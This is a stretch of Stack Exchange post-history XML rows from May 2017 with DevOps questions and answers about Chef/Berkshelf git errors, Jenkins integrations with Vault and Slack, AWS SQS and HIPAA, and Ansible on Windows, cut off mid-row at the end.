  <row Id="3650" PostHistoryTypeId="2" PostId="1087" RevisionGUID="bad3f3d4-e20d-4291-9735-b5a0260bb304" CreationDate="2017-05-03T14:41:44.847" UserId="1208" Text="when I modifies one of my cookbook and then tried to converge it which throws an error&#xD;&#xA;&#xD;&#xA;    'fatal: ambiguous argument 'master': unknown revision or path not in the working tree.use '--' to separate paths from revisions, like this:git &lt;command&gt; [&lt;revision&gt;...] -- [&lt;file&gt;...]'on test&#xD;&#xA; I don't have much clue to explain even..but I can post my explanation as we go. I appreciate your help thank you&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3651" PostHistoryTypeId="1" PostId="1087" RevisionGUID="bad3f3d4-e20d-4291-9735-b5a0260bb304" CreationDate="2017-05-03T14:41:44.847" UserId="1208" Text="fatal: ambiguous argument 'master': unknown revision or path not in the working tree" ContentLicense="CC BY-SA 3.0" />
  <row Id="3652" PostHistoryTypeId="3" PostId="1087" RevisionGUID="bad3f3d4-e20d-4291-9735-b5a0260bb304" CreationDate="2017-05-03T14:41:44.847" UserId="1208" Text="&lt;git&gt;&lt;chef&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3653" PostHistoryTypeId="5" PostId="1087" RevisionGUID="f127efa4-264d-4d19-84a9-775f14d2f637" CreationDate="2017-05-03T15:00:08.440" UserId="1208" Comment="added 130 characters in body" Text="when I modified one of my cookbook that I tried to add a cookbook dependency in berks file  ` cookbook name, '=0.1.0', git: 'ssh://url:xxx/cookbook', tag: '0.0.1'` and then tried to converge it which throws an error &#xD;&#xA;&#xD;&#xA;    'fatal: ambiguous argument 'master': unknown revision or path not in the working tree.use '--' to separate paths from revisions, like this:git &lt;command&gt; [&lt;revision&gt;...] -- [&lt;file&gt;...]'on test&#xD;&#xA; I don't have much clue to explain even..but I can post my explanation as we go. I appreciate your help thank you&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3654" PostHistoryTypeId="2" PostId="1088" RevisionGUID="4c7aeacd-39f7-412e-be84-c61321466c42" CreationDate="2017-05-03T15:46:37.100" UserId="270" Text="I'm setting up Vault to store secrets. SSH backend with OTP auth looks like a good way to stop managing SSH keys for access.&#xD;&#xA;&#xD;&#xA;I have SSH backend working, and am looking at hooking up Jenkins with the SSH-OTP auth so that I can remove the deployment keys too.&#xD;&#xA;&#xD;&#xA;I looked at Jenkins plugins for vault, but they only work for fetching secrets from Vault.&#xD;&#xA;&#xD;&#xA;Are there plugins or any Jenkins hacks for this purpose, or if not, is it possible to write one of my own?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3655" PostHistoryTypeId="1" PostId="1088" RevisionGUID="4c7aeacd-39f7-412e-be84-c61321466c42" CreationDate="2017-05-03T15:46:37.100" UserId="270" Text="Use Vault SSH OTP backend with Jenkins" ContentLicense="CC BY-SA 3.0" />
  <row Id="3656" PostHistoryTypeId="3" PostId="1088" RevisionGUID="4c7aeacd-39f7-412e-be84-c61321466c42" CreationDate="2017-05-03T15:46:37.100" UserId="270" Text="&lt;jenkins&gt;&lt;hashicorp-vault&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3657" PostHistoryTypeId="6" PostId="1087" RevisionGUID="6e00363c-7420-4f6d-8d6a-f9bd44f01f0d" CreationDate="2017-05-03T16:56:25.223" UserId="1208" Comment="edited tags" Text="&lt;git&gt;&lt;chef&gt;&lt;gitlab&gt;&lt;github&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3658" PostHistoryTypeId="2" PostId="1089" RevisionGUID="3473c8ce-b059-47e7-a77e-988af365a5d7" CreationDate="2017-05-03T19:09:58.510" UserId="228" Text="Environment variables are defined inside the container and some are passed in the task definition. So you can use [describe-task-definition][1] to see the extra variables.&#xD;&#xA;&#xD;&#xA;To get the default environment of the container image, you can [register-task-definition][2] for task with command 'env' and the specific container image for which you want to find out and then [run-task][3] this task.&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.aws.amazon.com/cli/latest/reference/ecs/describe-task-definition.html&#xD;&#xA;  [2]: http://docs.aws.amazon.com/cli/latest/reference/ecs/register-task-definition.html&#xD;&#xA;  [3]: http://docs.aws.amazon.com/cli/latest/reference/ecs/run-task.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="3659" PostHistoryTypeId="2" PostId="1090" RevisionGUID="251fa908-5ad6-4f0f-b6dd-cc174c18c5d3" CreationDate="2017-05-03T19:18:08.403" UserId="228" Text="Lately I am hearing about more and more companies adopting the Pixar concept of a [Notes Day][1] and I was wondering what exactly is a Notes Day, what would be a good format for such event and mainly if it could be successfully used in a DevOps inspired transformation of a company?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.bloomberg.com/news/articles/2014-04-08/pixar-chief-describes-crisis-with-growth-under-disney" ContentLicense="CC BY-SA 3.0" />
  <row Id="3660" PostHistoryTypeId="1" PostId="1090" RevisionGUID="251fa908-5ad6-4f0f-b6dd-cc174c18c5d3" CreationDate="2017-05-03T19:18:08.403" UserId="228" Text="What is a Notes Day and can it be used in DevOps transformation?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3661" PostHistoryTypeId="3" PostId="1090" RevisionGUID="251fa908-5ad6-4f0f-b6dd-cc174c18c5d3" CreationDate="2017-05-03T19:18:08.403" UserId="228" Text="&lt;culture&gt;&lt;process&gt;&lt;conferences&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3662" PostHistoryTypeId="2" PostId="1091" RevisionGUID="65db46b2-976d-4e7f-9d62-5923eca36494" CreationDate="2017-05-04T03:45:22.720" UserId="46" Text="Long polling is always beneficial since it results in higher performance at reduced cost for the majority of use cases.  Unfortunately, you cannot control the number of messages each worker receives from the queue due to the distributed nature of the queue. But there are some client-side workarounds that can help you in balancing the load for workers.&#xD;&#xA;&#xD;&#xA;**So, this is what we did as a workaround for this:** &#xD;&#xA;&#xD;&#xA;As one of the workaround, the poller script can control the number of messages each worker receives. A threshold can be set for maximum number of messages each worker can handle. This threshold can be a dynamic value and would probably be `ApproximateNumberOfMessagesVisible` divided by number of pollers/poller scripts. You can then keep the visibility timeout to be any lower value so if all the poller scripts are long polling at the same time, one of the pollers grabs the message, decides it is overloaded based on threshold, does not delete the message, the message goes back to the queue and it could be grabbed by other pollers who still has the capacity to grab the message. The threshold parameter can be fine tuned to meet the application's needs.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Also, having failover mechanism would help too, like how [the answers in this post describe][1]. However, I can't afford to have failover queues in a distributed architecture, as it would increase the complexity. So, the above workaround was a better idea for my team.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://iot.stackexchange.com/q/1371/2405" ContentLicense="CC BY-SA 3.0" />
  <row Id="3663" PostHistoryTypeId="5" PostId="1087" RevisionGUID="9f9d70c9-c3b6-4772-9f70-762f435bac19" CreationDate="2017-05-04T07:07:58.260" UserId="13" Comment="added 7 characters in body" Text="when I modified one of my cookbook that I tried to add a cookbook dependency in berks file&#xD;&#xA;&#xD;&#xA;    cookbook name, '=0.1.0', git: 'ssh://url:xxx/cookbook', tag: '0.0.1'&#xD;&#xA;&#xD;&#xA; and then tried to converge it which throws an error &#xD;&#xA;&#xD;&#xA;    'fatal: ambiguous argument 'master': unknown revision or path not in the working tree.use '--' to separate paths from revisions, like this:git &lt;command&gt; [&lt;revision&gt;...] -- [&lt;file&gt;...]'on test&#xD;&#xA; I don't have much clue to explain even..but I can post my explanation as we go. I appreciate your help thank you&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3664" PostHistoryTypeId="2" PostId="1092" RevisionGUID="931b9404-67b4-4f16-939a-fc2d5fca1867" CreationDate="2017-05-04T08:03:52.497" UserId="270" Text="The error looks like you're using a non-existent reference (branch/tag). Try specifying the correct branch and tag using the `branch/tag` options. You can also use the commit hash directly using `ref` option. &#xD;&#xA;&#xD;&#xA;Also ensure that your git URL is correct (your code does not contain the xxx.git part)." ContentLicense="CC BY-SA 3.0" />
  <row Id="3665" PostHistoryTypeId="5" PostId="130" RevisionGUID="80e76f94-f9a1-44e1-a798-e6f268c6d208" CreationDate="2017-05-04T09:05:07.700" UserId="6" Comment="add update regarding this service" Text="According to Amazon AWS&#xD;&#xA;&#xD;&#xA;&gt; Customers may use any AWS service in an account designated as a HIPAA&#xD;&#xA;&gt; account, but they should only process, store and transmit PHI in the&#xD;&#xA;&gt; HIPAA-eligible services defined in the BAA. There are ten&#xD;&#xA;&gt; HIPAA-eligible services today, including AWS Snowball, Amazon&#xD;&#xA;&gt; DynamoDB, Amazon EBS, Amazon EC2, Amazon Elastic MapReduce (EMR),&#xD;&#xA;&gt; Amazon Elastic Load Balancing (ELB), Amazon Glacier, Amazon Relational&#xD;&#xA;&gt; Database Service (RDS) [MySQL, Oracle, and PostgreSQL engines only],&#xD;&#xA;&gt; Amazon Aurora [MySQL-compatible edition only], Amazon Redshift, and&#xD;&#xA;&gt; Amazon S3.&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;source: https://aws.amazon.com/compliance/hipaa-compliance/&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;This means that as long as you are not storing or transmitting PHI in SQS, just the information about where this PHI is being stored - you probably can pass an audit reg. HIPAA compliance.&#xD;&#xA;&#xD;&#xA;In the architecture you describe, the SQS queue does not need to include any PHI content. This would make it comply with the above statement.&#xD;&#xA;&#xD;&#xA;More information about HIPAA compliance on AWS is available in this whitepaper from January 2017 - https://d0.awsstatic.com/whitepapers/compliance/AWS_HIPAA_Compliance_Whitepaper.pdf&#xD;&#xA;&#xD;&#xA;Specifically SQS is mentioned and explained in the HIPAA FAQ - https://aws.amazon.com/blogs/security/frequently-asked-questions-about-hipaa-compliance-in-the-aws-cloud-part-two/.&#xD;&#xA;&#xD;&#xA;**update**: As of May 1st 2017, SQS is now HIPAA compliant. https://aws.amazon.com/about-aws/whats-new/2017/05/amazon-simple-queue-service-sqs-is-now-a-hipaa-eligible-service/" ContentLicense="CC BY-SA 3.0" />
  <row Id="3667" PostHistoryTypeId="2" PostId="1093" RevisionGUID="b0452a87-841a-4339-908e-5919cfc51970" CreationDate="2017-05-04T11:23:29.873" UserId="210" Text="Instead of using a symlink that will be stored as is in BitBucket one could use:&#xD;&#xA;&#xD;&#xA;    - name: Copy docker-compose.yml&#xD;&#xA;      copy:&#xD;&#xA;        src: ../../../../docker-compose.yml&#xD;&#xA;        dest: /path/to/docker-compose.yml" ContentLicense="CC BY-SA 3.0" />
  <row Id="3674" PostHistoryTypeId="2" PostId="1095" RevisionGUID="614345d3-aad0-4fa9-b0be-d4347cf070d3" CreationDate="2017-05-04T15:52:19.127" UserId="736" Text="In an ideal world our less tech-knowledgeable employees could just use a Slack command to run a job and get the results slacked back to them, negating the use of the Jenkins GUI. I found [this][1] on GitHub, but it's got a few limitations including that it seems to require a 1:1 ratio Heroku instance to Jenkins job, which isn't great for our purposes. &#xD;&#xA;&#xD;&#xA;My thought is to have people use a singular command like `/jenkins`, and use parameters after it that will be parsed by one job, and used to kick off others downstream. That keeps us to one slack command / one instance, but still gives us all the flexibility we need.&#xD;&#xA;&#xD;&#xA;The issue falls in getting the parameters to Jenkins. I'm picturing something like the following workflow;&#xD;&#xA;&#xD;&#xA;1. User types `/Jenkins job2 param1 param2` in Slack. This is calling an umbrella job that will parse the parameters to find out what to run. &#xD;&#xA;&#xD;&#xA;2. Command is somehow sent to the umbrella jenkins job. Heroku instance, direct integration, w/e.&#xD;&#xA;&#xD;&#xA;3. Umbrella job receives `job2 param1 param2` as a string. (Perhaps as the value of a single parameter, perhaps pre-split into multiple fields)&#xD;&#xA;&#xD;&#xA;4. Umbrella job splits the string if it hasn't already been done, and figures out that the user wants `job2` run, using parameters `param1` and `param2`. &#xD;&#xA;&#xD;&#xA;5. Umbrella job does a buildjob to run the downstream job as called, which will Slack back to the user their results. &#xD;&#xA;&#xD;&#xA;It's steps 2-3 that are tripping me up. **How can I pass a string (with spaces!) from Slack to my Jenkins job?**&#xD;&#xA;&#xD;&#xA;If my entire premise is wrong I'm also open to having my frame challenged.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/joshdholtz/jenkins-slack-command" ContentLicense="CC BY-SA 3.0" />
  <row Id="3675" PostHistoryTypeId="1" PostId="1095" RevisionGUID="614345d3-aad0-4fa9-b0be-d4347cf070d3" CreationDate="2017-05-04T15:52:19.127" UserId="736" Text="Pass string to Jenkins job from Slack" ContentLicense="CC BY-SA 3.0" />
  <row Id="3676" PostHistoryTypeId="3" PostId="1095" RevisionGUID="614345d3-aad0-4fa9-b0be-d4347cf070d3" CreationDate="2017-05-04T15:52:19.127" UserId="736" Text="&lt;jenkins&gt;&lt;slack&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3677" PostHistoryTypeId="2" PostId="1096" RevisionGUID="3857e3c6-43b0-44dd-acf0-b5665dad1cfb" CreationDate="2017-05-04T15:54:54.033" UserId="362" Text="To synthesize Alex and Steve Johnson's answers, you could put this at the top of your downstream job:&#xD;&#xA;&#xD;&#xA;    lastBuild = currentBuild.getPreviousBuild()&#xD;&#xA;    delay = 2&#xD;&#xA;&#xD;&#xA;    if Date(lastBuild.timestamp) &gt;= new Date().minusHours(delay) {&#xD;&#xA;        currentBuild.result = 'SUCCESS'&#xD;&#xA;        echo &quot;Less than ${delay} hours since the last build. Job will not run.&quot;&#xD;&#xA;        return&#xD;&#xA;    }" ContentLicense="CC BY-SA 3.0" />
  <row Id="3678" PostHistoryTypeId="2" PostId="1097" RevisionGUID="ce7195aa-ec2f-4bf6-8b8e-14915a9dacd3" CreationDate="2017-05-04T16:03:52.400" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3679" PostHistoryTypeId="1" PostId="1097" RevisionGUID="ce7195aa-ec2f-4bf6-8b8e-14915a9dacd3" CreationDate="2017-05-04T16:03:52.400" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3680" PostHistoryTypeId="2" PostId="1098" RevisionGUID="111231c2-3a8c-4781-8a60-a200f3255563" CreationDate="2017-05-04T16:03:52.400" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3681" PostHistoryTypeId="1" PostId="1098" RevisionGUID="111231c2-3a8c-4781-8a60-a200f3255563" CreationDate="2017-05-04T16:03:52.400" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3682" PostHistoryTypeId="2" PostId="1099" RevisionGUID="b37a1b07-af19-4b8e-bb82-6b5438d0c9c2" CreationDate="2017-05-04T16:06:51.827" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3683" PostHistoryTypeId="1" PostId="1099" RevisionGUID="b37a1b07-af19-4b8e-bb82-6b5438d0c9c2" CreationDate="2017-05-04T16:06:51.827" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3684" PostHistoryTypeId="2" PostId="1100" RevisionGUID="0e9203e7-f06f-4578-9d88-06fbfbab4dde" CreationDate="2017-05-04T16:06:51.827" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3685" PostHistoryTypeId="1" PostId="1100" RevisionGUID="0e9203e7-f06f-4578-9d88-06fbfbab4dde" CreationDate="2017-05-04T16:06:51.827" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3686" PostHistoryTypeId="5" PostId="1098" RevisionGUID="1aae9fbb-65d9-4068-ac43-233e47276b3d" CreationDate="2017-05-04T16:57:31.333" UserId="362" Comment="added 149 characters in body" Text="General build pipeline questions. This includes, but is not exclusive to Jenkinsfile pipelines. See jenkins-pipeline for platform specific questions." ContentLicense="CC BY-SA 3.0" />
  <row Id="3687" PostHistoryTypeId="24" PostId="1098" RevisionGUID="1aae9fbb-65d9-4068-ac43-233e47276b3d" CreationDate="2017-05-04T16:57:31.333" Comment="Proposed by 362 approved by 40, 228 edit id of 335" ContentLicense="CC BY-SA 3.0" />
  <row Id="3688" PostHistoryTypeId="5" PostId="1100" RevisionGUID="8c876923-5756-4383-b6f1-94a7d522c8a8" CreationDate="2017-05-04T16:57:49.820" UserId="362" Comment="added 124 characters in body" Text="For questions specifically about Jenkins 2.0's pipeline architecture. This includes both declarative and scripted pipelines." ContentLicense="CC BY-SA 3.0" />
  <row Id="3689" PostHistoryTypeId="24" PostId="1100" RevisionGUID="8c876923-5756-4383-b6f1-94a7d522c8a8" CreationDate="2017-05-04T16:57:49.820" Comment="Proposed by 362 approved by 40, 228 edit id of 336" ContentLicense="CC BY-SA 3.0" />
  <row Id="3690" PostHistoryTypeId="2" PostId="1101" RevisionGUID="23f4a7ae-25f4-4785-bc3f-c7d0f58a5e97" CreationDate="2017-05-04T17:39:55.717" UserId="2598" Text="I'm curious how others architect their DevOps practices in a strict change management environment, such as with a CAB approval process.&#xD;&#xA;&#xD;&#xA;I understand that automation can improve your audit process by guaranteeing a more rigorous, provable, and repeatable process.  But it feels like Continuous Deployment is more or less impossible in such a situation.  Since it can take a week or more to get changes approved, you lose the ability to deploy fast and often.  What steps do you take to work within these processes short of just submitting change requests and waiting for approval?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3691" PostHistoryTypeId="1" PostId="1101" RevisionGUID="23f4a7ae-25f4-4785-bc3f-c7d0f58a5e97" CreationDate="2017-05-04T17:39:55.717" UserId="2598" Text="Reconciling Continuous Deployment with strict change management policies" ContentLicense="CC BY-SA 3.0" />
  <row Id="3692" PostHistoryTypeId="3" PostId="1101" RevisionGUID="23f4a7ae-25f4-4785-bc3f-c7d0f58a5e97" CreationDate="2017-05-04T17:39:55.717" UserId="2598" Text="&lt;continuous-deployment&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3693" PostHistoryTypeId="2" PostId="1102" RevisionGUID="ef1ba6d5-1e9c-46d6-b5dd-c27e22b0df07" CreationDate="2017-05-04T18:32:42.063" UserId="546" Text="In my company we're having a bad time trying to download with the Artifactoy plugin in Jenkins because we have a lot of tiny files in our repository and apparently the plugin works in a single thread, so it takes a REALLY long time. We tested the JFrog CLI where we can set the number of threads for the download and that actually works great. Still, we really need to use the original plugin.&#xD;&#xA;&#xD;&#xA;Is there any workaround for this? Maybe it has something to do with the Artifactory server configuration?&#xD;&#xA;&#xD;&#xA;Thanks!" ContentLicense="CC BY-SA 3.0" />
  <row Id="3694" PostHistoryTypeId="1" PostId="1102" RevisionGUID="ef1ba6d5-1e9c-46d6-b5dd-c27e22b0df07" CreationDate="2017-05-04T18:32:42.063" UserId="546" Text="Jenkins Artifactory plugin not downloading in multi-thread" ContentLicense="CC BY-SA 3.0" />
  <row Id="3695" PostHistoryTypeId="3" PostId="1102" RevisionGUID="ef1ba6d5-1e9c-46d6-b5dd-c27e22b0df07" CreationDate="2017-05-04T18:32:42.063" UserId="546" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3696" PostHistoryTypeId="5" PostId="1102" RevisionGUID="799f0ce0-7640-4c28-b42e-9d900f3e3955" CreationDate="2017-05-04T18:34:14.193" UserId="14" Comment="Thanks lines are not necessary — upvote good answers and accept them instead!" Text="In my company we're having a bad time trying to download with the Artifactory plugin in Jenkins because we have a lot of tiny files in our repository and apparently the plugin works in a single thread, so it takes a REALLY long time. We tested the JFrog CLI where we can set the number of threads for the download and that actually works great. Still, we really need to use the original plugin.&#xD;&#xA;&#xD;&#xA;Is there any workaround for this? Maybe it has something to do with the Artifactory server configuration?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3698" PostHistoryTypeId="2" PostId="1103" RevisionGUID="c541e9f1-4d7a-48b5-b0c4-750bbbca1f4d" CreationDate="2017-05-04T19:17:36.293" UserId="62" Text="The plugin you found doesn't have a 1:1 ratio between Heroku instance with build jobs since it takes the job name as parameter, so you should be able to run any number of jobs from a single Heroku instance.&#xD;&#xA;&#xD;&#xA;As for passing a space in a job parameter, it depends on how the arguments are split by [this line](https://github.com/joshdholtz/jenkins-slack-command/blob/master/web.rb#L29), I don't know enough ruby to make sure that it would avoid breaking quotes. Another way could possibly to use the HTML spacing character `%20` and see if it works.&#xD;&#xA;&#xD;&#xA;Personally I would try to use the plugin to run the correct job with the associated parameters directly instead of going through filtering jobs." ContentLicense="CC BY-SA 3.0" />
  <row Id="3699" PostHistoryTypeId="2" PostId="1104" RevisionGUID="76725c90-fc62-43c9-a28f-e28bbec92322" CreationDate="2017-05-04T19:20:01.353" UserId="62" Text="You could try to run the artifactory file upload in parallel if you are using the Jenkinsfile syntax: https://github.com/jenkinsci/pipeline-examples/blob/master/pipeline-examples/parallel-from-list/parallelFromList.groovy" ContentLicense="CC BY-SA 3.0" />
  <row Id="3700" PostHistoryTypeId="5" PostId="1103" RevisionGUID="82ec4ec6-d09f-4409-a469-8ae496d21e6f" CreationDate="2017-05-04T19:34:56.367" UserId="62" Comment="update with comment information" Text="The plugin you found doesn't have a 1:1 ratio between Heroku instance with build jobs since it takes the job name as parameter, so you should be able to run any number of jobs from a single Heroku instance.&#xD;&#xA;&#xD;&#xA;As for passing a space in a job parameter, the [word split is made on spaces](https://github.com/joshdholtz/jenkins-slack-command/blob/master/web.rb#L21) so quoting won't change anything. You could possibly try to use the HTML spacing character `%20` and see if it works?&#xD;&#xA;&#xD;&#xA;Personally I would try to use the plugin to run the correct job with the associated parameters directly instead of going through filtering jobs." ContentLicense="CC BY-SA 3.0" />
  <row Id="3701" PostHistoryTypeId="2" PostId="1105" RevisionGUID="5aef9ce8-4660-41ea-9bfd-b8048400add2" CreationDate="2017-05-04T19:41:21.023" UserId="546" Text="I'm running into some on and off issues when using windows hosts in my ansible playbooks. I'm running Ansible 2.3 with pywinrm 0.2.2 installed. I'm using basic authentication with the local Administrator user. Sometimes I receive this issue when I run a task:&#xD;&#xA;&#xD;&#xA;     [WARNING]: FATAL ERROR DURING FILE TRANSFER: Traceback (most recent call&#xD;&#xA;    last):   File &quot;/usr/local/lib/python2.7/dist-&#xD;&#xA;    packages/ansible/plugins/connection/winrm.py&quot;, line 267, in _winrm_exec&#xD;&#xA;    self._winrm_send_input(self.protocol, self.shell_id, command_id, data,&#xD;&#xA;    eof=is_last)   File &quot;/usr/local/lib/python2.7/dist-&#xD;&#xA;    packages/ansible/plugins/connection/winrm.py&quot;, line 248, in _winrm_send_input&#xD;&#xA;    protocol.send_message(xmltodict.unparse(rq))   File &quot;/usr/local/lib/python2.7&#xD;&#xA;    /dist-packages/winrm/protocol.py&quot;, line 207, in send_message     return&#xD;&#xA;    self.transport.send_message(message)   File &quot;/usr/local/lib/python2.7/dist-&#xD;&#xA;    packages/winrm/transport.py&quot;, line 191, in send_message     raise&#xD;&#xA;    WinRMTransportError('http', error_message) WinRMTransportError: (u'http', u'Bad&#xD;&#xA;    HTTP response returned from server. Code 500')&#xD;&#xA;&#xD;&#xA;Other times, when I try to run a win_shell/win_command/raw module and with_items on a group of windows hosts it seems to fail on temporary files created by Ansible.&#xD;&#xA;&#xD;&#xA;The task I'm tring to run is:&#xD;&#xA;&#xD;&#xA;    - name: Check services up&#xD;&#xA;      win_command: 'sc queryex {{ item }} | Findstr RUNNING'&#xD;&#xA;      with_items: '{{ component_services }}'&#xD;&#xA;      register: command_result&#xD;&#xA;      ignore_errors: yes&#xD;&#xA;&#xD;&#xA;And the error I may get is:&#xD;&#xA;&#xD;&#xA;    changed: [172.16.104.169] =&gt; (item=Dnscache)&#xD;&#xA;    failed: [172.16.104.176] (item=Dnscache) =&gt; {&quot;failed&quot;: true, &quot;item&quot;: &quot;Dnscache&quot;, &quot;module_stderr&quot;: &quot;Exception calling \&quot;Run\&quot; with \&quot;1\&quot; argument(s): \&quot;Exception calling \&quot;Invoke\&quot; with \r\n\&quot;0\&quot; argument(s): \&quot;The running command stopped because the preference variable \r\n\&quot;ErrorActionPreference\&quot; or common parameter is set to Stop: (0) : cannot open \r\nC:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\RESB3FF.tmp for writing\r\n(1) : using System;\r\n\&quot;\&quot;\r\nAt line:45 char:1\r\n+ $output = $entrypoint.Run($payload)\r\n+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n+ CategoryInfo          : NotSpecified: (:) [], ParentContainsErrorRecordE \r\nxception\r\n+ FullyQualifiedErrorId : ScriptMethodRuntimeException\r\n&quot;, &quot;module_stdout&quot;: &quot;&quot;, &quot;msg&quot;: &quot;MODULE FAILURE&quot;, &quot;rc&quot;: 1}&#xD;&#xA;    changed: [172.16.104.141] =&gt; (item=Dnscache)&#xD;&#xA;    changed: [172.16.104.168] =&gt; (item=Dnscache)&#xD;&#xA;    changed: [172.16.104.145] =&gt; (item=Dnscache)&#xD;&#xA;&#xD;&#xA;Both issues are absolutely random and may even not appear at all over a sequence of different runs.&#xD;&#xA;&#xD;&#xA;Assistance would be greatly appreciated!" ContentLicense="CC BY-SA 3.0" />
  <row Id="3702" PostHistoryTypeId="1" PostId="1105" RevisionGUID="5aef9ce8-4660-41ea-9bfd-b8048400add2" CreationDate="2017-05-04T19:41:21.023" UserId="546" Text="Ansible sporadic errors with windows machines" ContentLicense="CC BY-SA 3.0" />
  <row Id="3703" PostHistoryTypeId="3" PostId="1105" RevisionGUID="5aef9ce8-4660-41ea-9bfd-b8048400add2" CreationDate="2017-05-04T19:41:21.023" UserId="546" Text="&lt;ansible&gt;&lt;windows&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3704" PostHistoryTypeId="2" PostId="1106" RevisionGUID="4195907e-75d3-4917-b8a8-cd0ebea575f1" CreationDate="2017-05-04T20:12:22.380" UserId="2640" Text="Adding `serial: 1` to a Play will execute that one Play one host at a time. Is there something similar for the whole playbook?&#xD;&#xA;&#xD;&#xA;That is, all plays will execute only in one host, and when they are finished then all plays will execute on the next host, an so on." ContentLicense="CC BY-SA 3.0" />
  <row Id="3705" PostHistoryTypeId="1" PostId="1106" RevisionGUID="4195907e-75d3-4917-b8a8-cd0ebea575f1" CreationDate="2017-05-04T20:12:22.380" UserId="2640" Text="Execute the whole Playbook serially" ContentLicense="CC BY-SA 3.0" />
  <row Id="3706" PostHistoryTypeId="3" PostId="1106" RevisionGUID="4195907e-75d3-4917-b8a8-cd0ebea575f1" CreationDate="2017-05-04T20:12:22.380" UserId="2640" Text="&lt;ansible&gt;&lt;configuration-management&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3707" PostHistoryTypeId="2" PostId="1107" RevisionGUID="a9e0eb93-869b-40e3-b8d6-fc1f2816cf15" CreationDate="2017-05-05T01:22:41.987" UserId="342" Text="I think Ansible serial works only for the entire play, have you tried to use roles ?&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA;    - hosts:&#xD;&#xA;        - web&#xD;&#xA;        - db&#xD;&#xA;      serial: 1&#xD;&#xA;      roles:&#xD;&#xA;        - { role: nginx, when: ansible_os_family == 'Debian' }&#xD;&#xA;        - role2&#xD;&#xA;        - role3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3708" PostHistoryTypeId="5" PostId="1101" RevisionGUID="47b5fec4-b154-4c8e-a6f8-e2b09711f1b2" CreationDate="2017-05-05T02:09:20.833" UserId="47" Comment="added reference link" Text="I'm curious how others architect their DevOps practices in a strict change management environment, such as with a [Change advisory board (CAB)][1] approval process.&#xD;&#xA;&#xD;&#xA;I understand that automation can improve your audit process by guaranteeing a more rigorous, provable, and repeatable process.  But it feels like Continuous Deployment is more or less impossible in such a situation.  Since it can take a week or more to get changes approved, you lose the ability to deploy fast and often.  What steps do you take to work within these processes short of just submitting change requests and waiting for approval?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Change_advisory_board" ContentLicense="CC BY-SA 3.0" />
  <row Id="3709" PostHistoryTypeId="5" PostId="1105" RevisionGUID="406529c5-571b-48d4-8325-62112dd6eb24" CreationDate="2017-05-05T02:16:06.933" UserId="47" Comment="fixed traceback formatting" Text="I'm running into some on and off issues when using windows hosts in my ansible playbooks. I'm running Ansible 2.3 with pywinrm 0.2.2 installed. I'm using basic authentication with the local Administrator user. Sometimes I receive this issue when I run a task:&#xD;&#xA;&#xD;&#xA;     [WARNING]: FATAL ERROR DURING FILE TRANSFER: Traceback (most recent call last):&#xD;&#xA;    File &quot;/usr/local/lib/python2.7/dist-packages/ansible/plugins/connection/winrm.py&quot;, line 267, in _winrm_exec&#xD;&#xA;      self._winrm_send_input(self.protocol, self.shell_id, command_id, data, eof=is_last)&#xD;&#xA;    File &quot;/usr/local/lib/python2.7/dist-packages/ansible/plugins/connection/winrm.py&quot;, line 248, in _winrm_send_input&#xD;&#xA;      protocol.send_message(xmltodict.unparse(rq))&#xD;&#xA;    File &quot;/usr/local/lib/python2.7/dist-packages/winrm/protocol.py&quot;, line 207, in send_message&#xD;&#xA;       return self.transport.send_message(message)&#xD;&#xA;    File &quot;/usr/local/lib/python2.7/dist-packages/winrm/transport.py&quot;, line 191, in send_message&#xD;&#xA;       raise WinRMTransportError('http', error_message) WinRMTransportError: (u'http', u'Bad HTTP response returned from server. Code 500')&#xD;&#xA;&#xD;&#xA;Other times, when I try to run a win_shell/win_command/raw module and with_items on a group of windows hosts it seems to fail on temporary files created by Ansible.&#xD;&#xA;&#xD;&#xA;The task I'm tring to run is:&#xD;&#xA;&#xD;&#xA;    - name: Check services up&#xD;&#xA;      win_command: 'sc queryex {{ item }} | Findstr RUNNING'&#xD;&#xA;      with_items: '{{ component_services }}'&#xD;&#xA;      register: command_result&#xD;&#xA;      ignore_errors: yes&#xD;&#xA;&#xD;&#xA;And the error I may get 